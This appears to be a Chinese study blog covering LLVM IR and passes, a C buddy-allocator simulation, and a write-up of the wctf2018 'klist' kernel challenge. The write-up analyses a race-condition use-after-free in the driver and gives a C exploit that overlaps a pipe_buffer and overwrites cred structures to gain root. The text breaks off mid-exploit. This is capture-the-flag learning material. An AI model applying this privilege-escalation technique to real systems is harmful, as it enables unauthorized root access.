6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" // 数据布局
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca [16 x i8], align 16 /* char name[0x10]; */
%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%3 = call i64 @read(i32 0, i8* %2, i64 16)
%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%5 = call i64 @write(i32 1, i8* %4, i64 16)
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

declare dso_local i64 @read(i32, i8*, i64) #1

declare dso_local i64 @write(i32, i8*, i64) #1

declare dso_local i32 @printf(i8*, ...) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}
  • @代表全局标识符(函数,全局变量)
  • %代表局部标识符(寄存器名称也就是局部变量,类型)
  • alloca指令:用于分配内存堆栈给当前执行的函数,当这个函数返回其调用者时自动释放

LLVM Pass

LLVM 的 pass 框架是 LLVM 系统的一个很重要的部分,LLVM 的优化和转换工作就是由多个 pass 来一起完成的,类似流水线操作一样,每个 pass 完成特定的优化工作,要想真正发挥 LLVM 的威力,掌握 pass 是不可或缺的一环

总的来说,所有的 pass 大致可以分为两类:

  • 分析 (analysis) 和转换分析类的 pass 以提供信息为主
  • 转换类 (transform) 的 pass 优化中间代码

样例文件在 llvm-project/llvm/lib/Transforms/Hello/Hello.cpp 中,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"

using namespace llvm;

namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();
for(SymbolTableList<BasicBlock>::const_iterator bbIter=F.begin(); bbIter!=bbEnd; ++bbIter){
SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();
SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end();
for(; instIter != instEnd; ++instIter){
errs() << "opcode=" << instIter->getOpcodeName() << " NumOperands=" << instIter->getNumOperands() << "\n";
}
}
return false;
}
};
}

char Hello::ID = 0;

// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass");

// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});

输入一下指令,可以得到编译好的 LLVMHello.so:

1
➜  Hello clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

用 LLVMHello.so 来测试 main.ll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  Hello opt -load ./LLVMHello.so -hello ./main.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.

Hello: main
opcode=alloca NumOperands=1
opcode=getelementptr NumOperands=3
opcode=call NumOperands=4
opcode=getelementptr NumOperands=3
opcode=call NumOperands=4
opcode=call NumOperands=2
opcode=ret NumOperands=1

BogusControlFlow

BogusControlFlow 是一个结构体,跟到 runOnFunction

BogusControlFlow 的功能是为函数增加新的虚假控制流和添加垃圾指令

runOnFunction

runOnFunction 是入口函数,BogusControlFlow 继承了 FunctionPass,因此它的入口函数即为 runOnFunction

在 IDA7.7 中可以直接搜索 runOnFunction:

如果 IDA 没有找到 runOnFunction,就只能通过调试来寻找它了:

  • 由于模块是动态加载的,并且运行时也不会暂停下来等我们用调试器去Attach,因此我们可以直接使用 IDA 来进行调试

还有另一种方法:

  • 在 IDA 中搜索题目给定的“在代码中注册的名字”,找到对应的函数
  • 在这个函数及其子函数中寻找 off-xxxx 就可能找到虚表(尽量找那些未命名的函数)
  • 虚表的最后一个条目就是 runOnFunction

LLVM 原理

传统编译器分三个阶段:

前端(Frontend)— 优化器(Optimizer)— 后端(Backend)

  • 前端负责分析源代码,可以检查语法级错误,并构建针对语言的抽象语法树(AST),抽象语法树可以进一步转换为优化,最终转为新的表示方式,然后再交给让优化器和后端处理
  • 最终由后端生成可执行的机器码

LLVM 也分三个阶段,但是设计上略微的有些区别,LLVM 不同的就是对于不同的语言它都提供了同一种中间表示:

  • 前端可以使用不同的编译工具对代码文件做词法分析以形成抽象语法树(AST),然后将分析好的代码转换成 LLVM 的中间表示 IR(intermediate representation)
  • 中间部分的优化器只对中间表示 IR 进行操作,通过一系列的 pass 对 IR 做优化
  • 后端负责将优化好的 IR 解释成对应平台的机器码

LLVM 的优点在于:中间表示 IR 代码编写良好,而且不同的前端语言最终都转换成同一种的 IR

  • 计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决

所以 LLVM 就是在执行优化操作之前,先把代码转化为 LLVM 的中间表示 IR,然后对 IR 进行优化,最后交给后端翻译为机器码

使用 LLVM 的对一门语言编译如下所示:

1
源代码 => (词法分析) => Token => (语法分析) => AST => (代码生成) => LLVM IR => (优化) => LLVM IR(已优化) => (生成汇编代码) => 汇编代码 => (汇编) => 目标文件 => (Link) => 可执行文件

PS:至于 LLVM pass,复现 “红帽杯 simpleVM” 会有深刻的理解

mybuddy

最近学习伙伴系统,大概流程看完了,但是还没有分析源码

我写了个C语言代码来模拟伙伴系统,有关位图的那部分没有实现(有点不懂),所以我直接在结构体中写入标志位

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#include<stdio.h>
#include<malloc.h>
#include<algorithm>

struct buddy
{
unsigned int size;
unsigned int* longest;
unsigned int* offset;
bool* is_exist;
bool* is_alloc;
bool* is_cut;
bool* is_run;
};

inline bool is_power_of_2(unsigned x) {
return !(x & (x - 1));
}

unsigned fixsize(unsigned size) {
size |= size >> 1;
size |= size >> 2;
size |= size >> 4;
size |= size >> 8;
size |= size >> 16;
return size + 1;
}

inline unsigned left_leaf(unsigned index) {
return index * 2 + 1;
}

inline unsigned right_leaf(unsigned index) {
return index * 2 + 2;
}

inline unsigned parent(unsigned index) {
return (index + 1) / 2 - 1;
}

struct buddy* buddy_new(int size) {
struct buddy* self;
unsigned node_size;
int i;

if (size < 1) {
size = 1;
}

if (is_power_of_2(size) == false) {
size = fixsize(size);
}

self = (struct buddy*)malloc(2 * size * sizeof(size_t));
self->size = size;
node_size = size * 2;

self->longest = (unsigned int*)malloc((size * 2 - 1) * sizeof(unsigned int));
self->offset = (unsigned int*)malloc((size * 2 - 1) * sizeof(unsigned int));
self->is_exist = (bool*)malloc((size * 2 - 1) * sizeof(bool));
self->is_alloc = (bool*)malloc((size * 2 - 1) * sizeof(bool));
self->is_cut = (bool*)malloc((size * 2 - 1) * sizeof(bool));
self->is_run = (bool*)malloc((size * 2 - 1) * sizeof(bool));

for (i = 0; i < size * 2 - 1; ++i) {
if (is_power_of_2(i + 1)) {
node_size /= 2;
}
self->longest[i] = node_size;
self->offset[i] = 0;
self->is_exist[i] = false;
self->is_alloc[i] = false;
self->is_cut[i] = false;
self->is_run[i] = true;
}
self->is_exist[0] = true;
return self;
}

void buddy_print(buddy* bd) {
int i, j;
int layers;
int y = 2;
int size = bd->size;
int size_tmp = size;

for (layers = 1; size_tmp != 1; layers++) {
size_tmp /= 2;
}

printf("\nbuddy size: %d (%d layers)\n", size, layers);
for (i = 1; i <= 2 * size - 1; i++)
{

for (j = 0; j < layers; j++)
{
printf(" ");
}

if (bd->is_exist[i - 1] == false)
{
printf("%d", bd->longest[i - 1]); // 不存在
}
else if (bd->is_cut[i - 1] == true)
{
printf("(%d)", bd->longest[i - 1]); // 已分割
}
else if (bd->is_alloc[i - 1] == true)
{
printf("<%d>", bd->longest[i - 1]); // 已分配
}
else if (bd->is_alloc[i - 1] == false)
{
printf("[%d]", bd->longest[i - 1]); // 未分配
}

if (i == y - 1) {
printf("\n");
y = y * 2;
layers--;
}
}
}

void buddy_alloc(struct buddy* bp, int size) {
unsigned index = 0;
unsigned node_size;
unsigned offset = 0;
int i;
struct buddy* self = bp;

if (size <= 0 || size > self->longest[1]) {
printf("\nSize wrong\n");
}
else if (!is_power_of_2(size)) {
size = fixsize(size);
}

for (i = 0; i < self->size * 2 - 1; ++i) {
self->is_run[i] = true;
}

for (node_size = self->size; node_size != size; node_size /= 2) {

if (self->longest[left_leaf(index)] >= size && self->is_alloc[left_leaf(index)] == false
&& self->is_run[left_leaf(index)] == true) {
if (self->is_exist[left_leaf(index)] == false) {
self->is_cut[index] = true;
self->is_exist[left_leaf(index)] = true;
self->is_exist[right_leaf(index)] = true;
}
if (self->longest[left_leaf(index)] == size && self->is_cut[left_leaf(index)] == true) {
self->is_run[left_leaf(index)] = false;
node_size *= 2;
continue;
}
index = left_leaf(index);
}
else if (self->longest[right_leaf(index)] >= size && self->is_alloc[right_leaf(index)] == false
&& self->is_run[right_leaf(index)] == true) {
index = right_leaf(index);
}
else
{
self->is_run[index] = false;
if (index == 0) {
break;
}
index = parent(index);
node_size *= 4;
}
offset = (index + 1) * node_size - self->size;
}

if (index == 0) {
printf("\nbuffer is full\n");
return;
}

self->is_alloc[index] = true;
self->offset[index] = offset;
printf("your index:%d\n", index);
printf("your offset:%d\n", offset);
}

void buddy_free(struct buddy* self, int bdindex) {
unsigned node_size;
unsigned index = bdindex;


if (self->is_exist[index] == false) {
printf("\nIndex wrong\n");
return;
}

if (self->is_cut[index] == true) {
printf("\nIts children are still being used\n");
return;
}

if (self->is_alloc[index] == false) {
printf("\nDouble free\n");
return;
}

printf("\ntarget buffer index: %d\n", index);
printf(">> size: %d\n", self->longest[index]);
printf(">> offset: %d\n", self->offset[index]);

for (; index != 0;) {
if (self->is_alloc[index] = true) {
self->is_alloc[index] = false;
}
index = parent(index);
if (self->is_alloc[left_leaf(index)] == false && self->is_alloc[right_leaf(index)] == false
&& self->is_cut[left_leaf(index)] == false && self->is_cut[right_leaf(index)] == false) {
self->is_exist[left_leaf(index)] = false;
self->is_exist[right_leaf(index)] = false;
self->is_cut[index] = false;
}
}
}

char Choose() {
char choice[2];
printf("----------------\n");
printf("|Buddy System |\n");
printf("| |\n");
printf("|your choice: |\n");
printf("|1. new |\n");
printf("|2. alloc |\n");
printf("|3. free |\n");
printf("|4. show |\n");
printf("|5. exit |\n");
printf("----------------\n");
printf(">> ");
scanf("%s", choice);
choice[1] = 0;
return choice[0];
}

int main() {
buddy* bd = NULL;
int size;
char choice;

while (true)
{
choice = Choose();
switch (choice)
{
case 0x31:
printf("input size:\n");
printf(">> ");
scanf("%d", &size);
bd = buddy_new(size);
buddy_print(bd);
break;
case 0x32:
if (bd == NULL) {
printf("\nplease create a Buddy System first\n\n");
continue;
}
printf("input size\n");
printf(">> ");
scanf("%d", &size);
buddy_alloc(bd, size);
buddy_print(bd);
break;
case 0x33:
if (bd == NULL) {
printf("\nplease create a Buddy System first\n\n");
continue;
}
printf("input offset\n");
printf(">> ");
scanf("%d", &size);
buddy_free(bd, size);
buddy_print(bd);
break;
case 0x34:
if (bd == NULL) {
printf("\nplease create a Buddy System first\n\n");
continue;
}
buddy_print(bd);
break;
case 0x35:
printf("\nending\n");
exit(0);
default:
printf("Choice wrong\n");
break;
}
}

return 0;
}

wctf2018-klist 复现

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

qemu-system-x86_64
-enable-kvm
-cpu kvm64,+smep # 开了smep
-kernel ./bzImage
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" # 开了kaslr
-initrd ./rootfs.cpio
-nographic -m 2G # 我去,直接给2G
-smp cores=2,threads=2,sockets=1 -monitor /dev/null
-nographic
~

PS:我们加上 “-s” 方便调试

然后做好基础工作:解压 rootfs.cpio,提取 vmlinux,提取 gadget

一般的 kernel pwn 都喜欢在驱动文件那里设置漏洞,用 IDA 进行分析:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
  • list_ioctl:设置了“add_item”,“remove_item”,“select_item”函数,“list_head”函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
signed __int64 __fastcall list_ioctl(__int64 fd, unsigned int request, void *user_ptr)
{
if ( request == 0x1338 )
return select_item((fd *)fd, (__int64)user_ptr);
if ( request <= 0x1338 )
{
if ( request == 0x1337 )
return add_item((input *)user_ptr);
}
else
{
if ( request == 0x1339 )
return remove_item((__int64)user_ptr);
if ( request == 0x133A )
return list_head(user_ptr);
}
return -22LL;
}
  • add_item:创建节点,插入链表头部
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
signed __int64 __fastcall add_item(input *user_input)
{
item *list_ptr; // rax MAPDST
__int64 size; // rdx
__int64 item_ptr; // rsi
item *prev; // rax
input user_data; // [rsp+0h] [rbp-18h] BYREF

if ( copy_from_user(&user_data, user_input, 16LL) || user_data.size > 0x400uLL )
return 0xFFFFFFFFFFFFFFEALL;
list_ptr = (item *)_kmalloc(user_data.size + 24, 0x14202C0LL);
size = user_data.size;
item_ptr = user_data.ptr;
list_ptr->refcount = 1; /* 设置引用计数refcount为'1'(关键) */
list_ptr->size = size;
if ( copy_from_user(&list_ptr->data, item_ptr, size) )
{
kfree(list_ptr);
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
mutex_lock(&list_lock); /* 添加互斥锁 */
prev = g_list;
g_list = list_ptr; /* 直接插头 */
list_ptr->next = prev;
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0LL;
}
}
  • remove_item:释放结点,并且脱链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
signed __int64 __fastcall remove_item(__int64 idx)
{
item *list_unit; // rax MAPDST
__int64 i; // rdx
item *delete_list_unit; // rdi

if ( idx >= 0 )
{
mutex_lock(&list_lock); /* 添加互斥锁 */
if ( !idx )
{
list_unit = g_list;
if ( g_list )
{
g_list = g_list->next;
put(list_unit);
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0LL;
}
goto LABEL_12;
}
list_unit = g_list;
if ( idx != 1 )
{
if ( !g_list )
{
LABEL_12:
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
i = 1LL;
while ( 1 )
{
++i;
list_unit = list_unit->next;
if ( idx == i )
break;
if ( !list_unit )
goto LABEL_12;
}
}
delete_list_unit = list_unit->next;
if ( delete_list_unit )
{
list_unit->next = delete_list_unit->next;
put(delete_list_unit);
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0LL;
}
goto LABEL_12;
}
return 0xFFFFFFFFFFFFFFEALL;
}
  • select_item:选择指定位置的节点记录到缓冲区里(这样才能对其进行 read/write 操作)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
signed __int64 __fastcall select_item(fd *fd, __int64 idx)
{
item *list_unit; // rbx
__int64 i; // rax
list *using_list; // rbp

mutex_lock(&list_lock); /* 添加互斥锁 */
list_unit = g_list; /* g_list为list_unit链表头 */
if ( idx > 0 )
{
if ( !g_list ) /* 头结点不存在,返回错误代码 */
{
LABEL_8:
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
i = 0LL;
while ( 1 ) /* 遍历整个list_unit链表,获取对应index的item结点 */
{
++i;
list_unit = list_unit->next;
if ( idx == i )
break;
if ( !list_unit )
goto LABEL_8;
}
}
if ( !list_unit ) /* 输入的index没有对应的结点,返回错误代码 */
return 0xFFFFFFFFFFFFFFEALL;
get(list_unit);
mutex_unlock(&list_lock); /* 解除互斥锁 */
using_list = fd->using_list; /* 从结构体fd中获取内核缓冲区(从kmem_cache分配) */
mutex_lock(&using_list->mutex); /* 添加互斥锁 */
put(using_list->item);
using_list->item = list_unit; /* 注意:如果item在put中被释放,后面的解锁就会报错 */
mutex_unlock(using_list->mutex); /* 解除互斥锁 */
return 0LL;
}

void __fastcall get(item *item)
{
_InterlockedIncrement(&item->refcount); /* 实现数的原子加 */
}

__int64 __fastcall put(item *item)
{
__int64 result; // rax

if ( item )
{
if ( !_InterlockedDecrement(&item->refcount) ) /* 实现数的原子减 */
return kfree(item); /* item->refcount减到'0'后释放item */
}
return result;
}
  • list_open:打开一个文件
1
2
3
4
5
6
7
8
9
__int64 __fastcall list_open(__int64 a1, fd *fd)
{
list *using_list; // rbx

using_list = (list *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x14282C0LL, 0x28LL); /* 从kmem_cache中分配一个object,作为缓冲区 */
_mutex_init(&using_list->mutex, "&data->lock", &copy_from_user); /* 初始化互斥锁 */
fd->using_list = using_list; /* 把缓冲区using_list存储在fd结构体中 */
return 0LL;
}
  • list_read:读操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall list_read(fd *fd, __int64 addr, unsigned __int64 size)
{
list *using_list; // r13
item *item; // rsi
__int64 *mutex_var; // rdi

using_list = fd->using_list; /* 从结构体fd中获取内核缓冲区(从kmem_cache分配) */
mutex_lock(&using_list->mutex); /* 添加互斥锁 */
item = using_list->item; /* item:指向缓冲区的指针 */
if ( using_list->item )
{
if ( item->size <= size )
size = item->size; /* 限制点:杜绝了缓冲区溢出的发生 */
mutex_var = using_list->mutex;
if ( copy_to_user(addr, &item->data, size) ) /* 把内核数据拷贝到用户缓冲区 */
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return size;
}
}
else
{
mutex_unlockusing_list->mutex); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
}
  • list_write:写操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall list_write(fd *fd, __int64 addr, unsigned __int64 size)
{
list *using_list; // rbp
item *item; // rdi
__int64 v6; // rax
__int64 *mutex_var; // rdi

using_list = fd->using_list; /* 从结构体fd中获取内核缓冲区(从kmem_cache分配) */
mutex_lock(&using_list->mutex); /* 添加互斥锁 */
item = using_list->item; /* item:指向缓冲区的指针 */
if ( using_list->item )
{
if ( item->size <= size )
size = item->size; /* 限制点:杜绝了缓冲区溢出的发生 */
v6 = copy_from_user(&item->data, addr, size); /* 从用户缓冲区拷贝数据到内核 */
mutex_var = using_list->mutex;
if ( v6 ) /* copy_from_user失败返回没有被拷贝的字节数,成功返回'0' */
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return size;
}
}
else
{
mutex_unlockusing_list->mutex); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
}
  • list_head:获取链表头中的内核数据,返回给用户空间
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall list_head(void *addr)
{
item *item; // rbx
unsigned __int64 v2; // rbx

mutex_lock(&list_lock); /* 添加互斥锁 */
get(g_list);
item = g_list;
mutex_unlock(&list_lock); /* 解除互斥锁 */
v2 = -(__int64)(copy_to_user(addr, item, item->size + 24) != 0) & 0xFFFFFFFFFFFFFFEALL;
put(g_list); /* 漏洞点:put在互斥锁外(没有收到保护) */
return v2;
}
  • init_module:初始化驱动程序(绑定 “/dev/klist”)
1
2
3
4
__int64 init_module()
{
return _register_chrdev(137LL, 0LL, 256LL, "klist", &list_fops);
}

入侵思路:

  • list_head 函数中的 put 在互斥锁外
  • add_item 函数中的 refcount 被初始化为“1”

假如,在 list_head 函数的 get 操作之后,put 操作之前,另一个线程正好创建了一个新节点,把 g_list 赋值为了这个新节点,接下来 put 操作,将 g_list 的 used 减去“1”后发现为“0”,就会释放这个节点,然后却没有把 g_list 指向下一个节点,这就造成了堆的UAF

  • PS:直接使用 remove_item 会导致目标结点脱链,构不成 UAF,即使生成了 pipe_buffer 也没法控制

下面是 init 程序,看一下我们拥有哪些权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
➜  rootfs cat init 
#!/bin/sh

mount -nvt tmpfs none /dev
mknod -m 622 /dev/console c 5 1
mknod -m 666 /dev/null c 1 3
mknod -m 666 /dev/zero c 1 5
mknod -m 666 /dev/ptmx c 5 2
mknod -m 666 /dev/tty c 5 0
mknod -m 0660 /dev/ttyS0 c 4 64
mknod -m 444 /dev/random c 1 8
mknod -m 444 /dev/urandom c 1 9
chown root:tty /dev/console
chown root:tty /dev/ptmx # 没有权限打开/dev/ptmx,获取不了tty_struct
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

cat /root/signature

echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

echo flag{messy_in_kernel} > /flag # 创建flag
chmod 400 /flag
insmod /list.ko
mknod /dev/klist c 137 1
chmod a+rw /dev/klist
cat /proc/kallsyms |grep commit_cred
lsmod
#cat /sys/module/list/sections/.text
setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys

halt -d 1 -n -f
  • 没有权限去使用 tty_struct attack
  • 但是 ha1vk 大佬有一个巧妙的方法就是利用 pipe 管道,在 pipe 创建管道的时候,会申请这样一个结构:
1
2
3
4
5
6
7
struct pipe_buffer {  
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
  • 其中,page 是 pipe 存放数据的缓冲区,offset 和 len 是数据的偏移和长度,一开始,offset 和 len都是“0”,当我们 write(pfd[1],buf,0x100) 的时候,offset = 0,len = 0x100
  • 然而,我们注意到,offset 和 len 都是4字节数据,如果把它们拼在一起,凑成8字节,就是 0x10000000000,如果能够与 list_node 的 size 域对应起来,我们就能溢出堆了
1
2
3
4
5
6
7
8
00000000 item            struc ; (sizeof=0x20, mappedto_5)
00000000 refcount dd ?
00000004 null dd ?
00000008 size dq ? /* item->size控制着该内核缓冲区的size(将其进行修改) */
00000010 next dq ? ; offset
00000018 data dq ?
00000020 item ends

  • 因此,我们一开始申请一个与 pipe_buffer 大小一样的堆,然后利用竞争释放后,创建一个管道,pipe_buffer 就会申请到这里,接下来再 write(pfd[1],buf,0x100)
    • 作为管道:它的 pipe_buffer->offset 变为“0”,pipe_buffer->len 变为“100”
    • 作为结点:它的 item->size 变为“0x10000000000”,那么我们就能溢出堆了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define PIPE_BUFFER_SIZE 0x280 // pipe_buffer的大小,阅读源码可知

int fd; // 驱动的fd

// 打开驱动
void initFD() {
fd = open("/dev/klist",O_RDWR);
if (fd < 0) {
printf("[-]open file error!!\n");
exit(-1);
}
}

// 创建节点时需要发送的数据(和驱动程序中的input结构体有关)
struct Data {
size_t size;
char *buf;
};

void addItem(char *buf,size_t size) {
struct Data data;
data.size = size;
data.buf = buf;
ioctl(fd,0x1337,&data);
}

void removeItem(int64_t index) {
ioctl(fd,0x1339,index);
}

void selectItem(int64_t index) {
ioctl(fd,0x1338,index);
}

void listHead(char *buf) {
ioctl(fd,0x133A,buf);
}

void listRead(void *buf,size_t size) {
read(fd,buf,size);
}

void listWrite(void *buf,size_t size) {
write(fd,buf,size);
}

// 检查是否root成功
void checkWin(int i) {
while (1) {
sleep(1);
if (getuid() == 0) {
printf("Rooted in subprocess [%d]\n",i);
system("cat flag"); // 我们很难getshell
exit(0);
}
}
}

#define BUF_SIZE PIPE_BUFFER_SIZE
#define UID 1000

char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];

void fillBuf() {
memset(bufA,'a',BUF_SIZE);
memset(bufB,'b',BUF_SIZE);
}

int main() {
initFD(); /* 打开/dev/klist */
fillBuf(); /* 填充缓冲区 */
addItem(bufA,BUF_SIZE-24); /* 设置该用户缓冲区与内核缓冲区进行交互 */
selectItem(0); /* 选择指定位置的节点记录到缓冲区里(遍历整个list_unit链表,获取对应index的item结点) */
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) {
for (int i=0;i<200;i++) { // 增加cred结构被分配到堆下方内存的成功率
if (fork() == 0) {
checkWin(i+1); // 子进程结束时,执行checkWin
}
}
while (1) { // 与主线程的listHead竞争
/* 这里不停地进行"绑定","选择","删除","读取"......
如果在get操作之后,put操作之前,另一个线程正好创建了一个新节点
那么该新结点就会被put释放(refcount被put减为'0')
并且另一个线程还是可以操作该新结点 */

/* <--- 假设上述操作执行成功 ---> */
addItem(bufA,BUF_SIZE-24); /* 头结点会被替换,并且被put释放,释放之后的内核缓冲区数据发生改变(不再是'a') */
selectItem(0); /* 选择头结点 */
removeItem(0); /* 二次释放,没有影响(只有条件竞争没有成功时,这里才有作用) */
addItem(bufB,BUF_SIZE-24); /* 申请该内核空间为头结点 */
listRead(buf2,BUF_SIZE-24); /* 把头结点中的数据拷贝到buf2(不再是'a') */
if (buf2[0] != 'a') {
printf("race compete in child process!!\n");
break;
}
removeItem(0);
}

/* <--- 条件竞争成功 ---> */
sleep(1);
removeItem(0); /* 把空间腾出来 */
int pfd[2];
pipe(pfd); /* 管道的pipe_buffer将会申请到我们能够UAF控制的空间里 */
write(pfd[1],bufB,BUF_SIZE);
size_t memLen = 0x1000000;
uint32_t *data = (uint32_t *)calloc(1,memLen); /* 申请缓冲区,用于存储数据 */
listRead(data,memLen); /* 向data读入'0x1000000'字节的内核数据 */
int count = 0;
size_t maxLen = 0;
for (int i=0;i<memLen/4;i++) {
if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
/* 搜索合法的cred,并将其uid-fsgid都修改为'0',使其具有root权限 */
memset(data+i,0,28);
maxLen = i;
